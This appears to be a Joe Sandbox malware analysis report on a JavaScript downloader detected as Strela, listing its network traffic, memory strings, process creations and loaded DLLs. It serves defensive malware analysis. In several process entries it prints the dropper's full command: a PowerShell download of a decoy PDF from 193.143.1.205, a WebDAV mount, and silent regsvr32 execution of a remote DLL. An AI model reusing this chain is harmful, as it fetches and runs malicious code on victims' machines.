
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49762

Source: global traffic

TCP traffic: 192.168.2.9:49762 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.9:49743 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1348383540.000002D716176000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1349396387.000002D716171000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1349277651.000002D716170000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1412378291.000001221C82D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.1410713121.000001221C82D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1412378291.000001221C82D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/bx
Source: net.exe, 00000007.00000002.1412095510.000001221C7F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000009.00000002.2628334723.000002144AE00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: svchost.exe, 00000009.00000002.2627045269.00000214458A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.dm
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1410570550.000002144AC70000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7384, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\187452473818653.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\187452473818653.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 6043249381237528594.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7476:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dtwea0qy.qln.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 6043249381237528594.js

Virustotal: Detection: 13%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6043249381237528594.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\187452473818653.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1652,i,4764841077737964048,17995791166656125396,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\187452473818653.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1652,i,4764841077737964048,17995791166656125396,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
